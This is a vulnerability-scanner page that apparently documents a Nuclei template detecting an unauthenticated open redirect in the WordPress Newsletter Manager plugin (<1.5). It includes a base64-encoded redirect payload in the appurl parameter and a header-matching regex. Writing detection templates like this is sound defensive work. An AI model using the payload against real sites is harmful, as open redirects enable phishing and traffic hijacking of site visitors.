WordPress Newsletter Manager < 1.5 - Unauthenticated Open Redirect
ID: newsletter-open-redirect
Severity: medium
Author: dhiyaneshDk
Tags: redirect,wp-plugin,newsletter,wp,wpscan,wordpress
Description
Section titled “Description”WordPress Newsletter Manager < 1.5 is susceptible to an open redirect vulnerability. The plugin used base64 encoded user input in the appurl parameter without validation to redirect users using the header() PHP function, leading to an open redirect issue.
YAML Source
Section titled “YAML Source”id: newsletter-open-redirect
info: name: WordPress Newsletter Manager < 1.5 - Unauthenticated Open Redirect author: dhiyaneshDk severity: medium description: WordPress Newsletter Manager < 1.5 is susceptible to an open redirect vulnerability. The plugin used base64 encoded user input in the appurl parameter without validation to redirect users using the header() PHP function, leading to an open redirect issue. reference: - https://wpscan.com/vulnerability/847b3878-da9e-47d6-bc65-3cfd2b3dc1c1 classification: cwe-id: CWE-601 metadata: max-request: 1 tags: redirect,wp-plugin,newsletter,wp,wpscan,wordpress
http: - method: GET path: - "{{BaseURL}}/?wp_nlm=confirmation&appurl=aHR0cDovL2ludGVyYWN0LnNo"
matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1# digest: 4a0a00473045022100e1aa2510dd1cf398da073d6fd3e130aabb7777fe59d0b2432b295c2a9e371ff802203e596a0077d7c8cdf721d27f54a0e38b408e40b5097207e3909f3a26377eac36:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/newsletter-open-redirect.yaml"